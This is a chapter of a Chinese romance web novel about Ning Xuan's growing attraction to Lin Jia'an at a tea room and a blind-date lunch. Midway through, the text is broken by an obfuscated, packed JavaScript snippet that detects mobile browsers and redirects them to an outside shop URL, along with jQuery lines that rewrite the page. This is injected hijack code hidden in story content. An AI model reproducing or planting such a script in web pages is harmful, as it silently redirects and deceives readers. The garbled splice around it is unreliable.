宁宣拉着裴培进了茶室。
“好巧啊!”音调极高,难掩兴奋,“放假过来旅游吗?我是本地人,想玩什么我给你推荐啊!”
有声音接话,“那可能也不太用。”
宁宣眼里只有林家安,以至于高潜出声时被吓一跳。
她回头,看高潜在另一边比划,指指林家安又指指自己,“我们两个也是本地人。”
由喜转惊又一喜,宁宣拉着凳子坐下,“高经理?我天怎么这么巧,我们不但是同事,还是老乡啊!”
高潜点头,看了眼林家安,“可不说呢。”
靠窗的小桌,坐四个人有点拥挤。
裴培就推高潜,“咱俩去喝酒吧,上次吃小龙虾,都没喝过瘾。”
高潜现在的兴致不在味蕾,摆摆手,“今天不太想喝。”
裴培白了一眼,加码,“我请客。”
高潜依旧,“不是请客的事——”
说话间已经被暴力拉起来。
裴培压根没听高潜说什么,反正把人搞走就对了。
看着拉拉扯扯出门的背影,宁宣舔了舔唇,心中早已跪谢好姐妹。
剩下两人,一方小桌,宁宣和林家安坐在相邻的两条边。茶室用的是电炉,几圈圆环在烤网下发红。
几天没见甚是想念,宁宣屈肘撑桌,眼睛离不开林家安的脸,“我以为你上海人呢。”
林家安身子微微前倾,抬手翻起倒扣的茶杯,“只是常住那边。”
宁宣坐在过道的位置,身后空桌上客,她拖着凳子又往里靠了靠。胸口抵着桌沿问林家安,“那你这几天有安排吗,明天要不要去爬山?景山公园翻新了,山顶的寺庙也重开了,还能祈福。”
茶盏落至宁宣面前,林家安开口,“景山森林公园吗?好久没回来,记不清了。”
刚吃过淀粉肠,嘴里是干,宁宣道了声谢,端起来喝,“就是那个,后来扩建了,现在是4A级景区。”
林家安默了默,“明天要拜访长辈,不好食言。爬山的话,要不后天?”
宁宣不太情愿地点头,“那也行。”
语毕,接到曹婉清打来的电话,宁宣看了眼林家安,他做了个请便的手势。
“妈。”宁宣说话时看着林家安。他很有分寸,往后靠着低头看自己手机,屏幕亮起,漆黑的瞳孔也亮起。
曹婉清那边有点吵,估计在打牌,说话嗓门就比平时大,“就是老赵的儿子呀,他也放假回来了,你明天跟他见一面。”
林家安脸上有一瞬凝固。但天更黑,昏黄路灯穿过窗户,同室内的白光交叠,恍惚映在林家安脸上,宁宣也不确定是不是眼花。
他微微蹙眉,接着在手机上打字。
大概是工作上有些问题。
“哎,妈,你们怎么这么急着把我往外推销啊。”
“妈都说了,只是吃个饭,那小伙子长得挺周正,工作也好。我跟你爸看着都觉得不错。你去接触接触,不喜欢爸妈又不会逼你。”
宁宣身后几个年轻人,在玩桌游,玩到兴头上声音好大。吵得宁宣缩了缩脖子,“你现在不就是——”
噪音忽小。
淡香袭来。
林家安展臂,从身后护住宁宣,未有接触但将她虚揽在怀。掌心遮在宁宣耳畔,像是隔了一个罩子,杂音都变得闷闷的。
宁宣哑住,后颈一阵阵发痒。
周围好像忽然安静,只听见自己的心跳,咚咚咚擂鼓一样。烤网上的茶水此时轻沸,顶着盖子咕嘟却听不见声音。
林家安反扣手机,侧身握住壶柄,离宁宣更近,就更香。
陶壶被移至隔热板。微红的骨节从眼前略过,夹着栗子摆到网上继续烤。烤网有镂空的方格,球形栗子放上去不晃也不会乱跑。
一颗脑袋僵在胸膛和掌心之间,左右都只差分毫。电炉丝一阵阵发热,心脏像疯了一样狂跳。
宁宣体育选修过太极,老师教他们胸前抱球,要闭眼感受两掌之间的能量牵引,她怎么都感受不到。
这会倒是无师自通。
不用闭眼都通了。
什么叫牵引?大概就是林家安怀里,温热的挑衅的,如电流般让人浑身麻痒的眩晕...
“爸妈就你这么一个女儿,还能害你......”曹婉清说什么话宁宣已经听不见,就张着嘴巴嗯嗯啊啊了几声。
那头喜声,“那就这么定了!景山公园,吃个午饭再爬爬山。那边刚开一个富贵楼餐厅,五一还有八折优惠呢。”
等宁宣反应过来已经晚了,要不是林家安在,她得当场抽自己一巴掌。
挂了电话,林家安收回手。漆黑的眸子与宁宣对视,“喝茶。”
他仿佛在笑,又好像不在笑。卧蚕有浅浅的弧度,但眼底并不柔和。
刚刚还色胆包天脑补这样那样,这会倒怂了。屁股就坐不住,宁宣抢着起身,“那我们后天见哈,我妈让我买酱油呢!”
不等林家安回答便落荒而逃。
茶室在楼下,利索着步子十来分钟就到家。
宁宣颤抖着刷卡,开锁,关门,靠着门板大喘气。也许是走得急,心跳比刚刚还疯,隔着胸口突突往外冲,宁宣捂着手压住,去卧室洗澡。
她的房间朝着湖,浴室也有很大一面落地窗。买房时老宁开玩笑,要是在北上,这一个窗景就值五百万。
落地窗上映着浴缸,宁宣泡在缸里,ipad随便点开一个综艺。她耳朵听着声音,脑子却在想林家安的眼神。
漆黑的,有点吓人。
他俩现在还没啥关系呢,也不知道自己怎么就后脖子发紧,被他逮死死的。
忽又脑袋一歪,发觉不对。
他是听见电话了吗?这么反应是不是在吃醋?如果林家安在吃醋,那岂不是刚好说明他也喜欢自己?
喜欢为什么不追呢?不开口谁知道啊。那么暧昧的姿势,不清不白的眼神,不会真的只是好心帮忙堵耳朵吧?
宁宣一拍手,水花溅到脸上。
肯定是啊!
毕竟林家安是个斯文人,矜持的。这更说明他不是渣男啊,对待感情足够慎重,值得一谈!
宁宣裹着浴巾出来,在镜子前照了又照,肤白貌美盘靓条顺,该凸凸该翘翘。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586208|205275||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
美女的自知之明开始膨胀,嘴角压不住地往上扬。
林家安不也是男人么,不信他看自己像看一块叉烧。
超强的执行力又一次澎湃起来。
宁宣趴在床上盘算明天的行程。
明天吃完饭就去买衣服。买裙子买鞋子,再买紧紧的瑜伽裤。要巨提臀那种,后天爬山一定要惊艳登场,释放所有魅力,给林家安狠狠一击!
天气渐热,宁宣开着窗户睡了一夜。
早上起床有点感冒,宁宣塞着鼻子简单收拾了下,画个淡妆套件薄毛衣,踩着点去赴约。
到景山公园时赵青文已经在等。看得出老宁和曹婉清是认真的,赵青文高个子穿一身西装,倒也像模像样。
这次见面只为了堵爸妈的嘴,宁宣也没特意打扮,看到正正经经的赵青文就觉得失礼。
连声道歉,“真不好意思,出来得有点晚了。”
赵青文浅笑,看了眼手机,“哪里话,时间刚刚好,我们进去吧。”
赵青文礼仪都很到位,等上菜时主动找宁宣聊天,“宁叔叔说你是做设计的,所以果然艺术系的女孩都很漂亮。”
略土的开场白,宁宣尴尬一笑,“化个妆就好看了。”
赵青文好像看出她兴致不高,喝了口柠檬水,“我也在设计公司,不过是市场部,碎事多一点。”
宁宣也端起杯子,喝一口,巨酸。她是一点酸都不能吃的人,嘴巴里直冒口水。
感冒好像比想象的严重点,流口水时清鼻涕也往下流。她又顺手擤了下鼻子。
身后服务员引客,“先生里面请。”
带过一阵熟悉的淡香,宁宣扭头,惊喜。
林家安小臂搭着西装,正在服务员的带领下,坐到与她相隔一张空桌的位置上。
他今天又穿了黑衬衫,和昨天那件不太一样,款式更正式一点。
宁宣喜欢看林家安穿黑色。其实他的肤色穿什么都好看的,但宁宣觉得黑色更适合他。明明是那么温和一个人,偶尔闪过的眼神却很深,像是藏着许多心事。
也是巧了,就那个不明不白的劲头,很对宁宣的胃口。
林家安坐下后对上宁宣的视线,眼中闪过很浅的意外,表情倒是略显浮夸地惊讶了一下。
刚坐下又起身,拉开椅子,越过中间那张空桌来到宁宣身边,“好巧,你也在,昨天没听你说。”
宁宣又觉后脖子发紧,眨了眨眼,“这不你说要陪长辈么,我就想着咱俩明天再一起来。”
林家安原本站着,听宁宣说话的功夫,将手扶在她身后的椅背上,欠身靠她更近,“那明天什么时候碰头?要先吃个早饭么?”
那股眩晕的牵引又来了,宁宣恍恍惚惚,“行,行啊,那明天早上八点,在对面早茶店见。”
人一紧张就会各种小动作,宁宣掀着菜单翻来覆去,“上午爬山,中午再过来,这家好像招牌菜挺多的,今天一顿也吃不完...哎,你不要陪长辈啦?今天怎么来这了?”
林家安无奈笑笑,“不知道从哪听说这里新开了餐厅,五一八折优惠,老人家非要来。”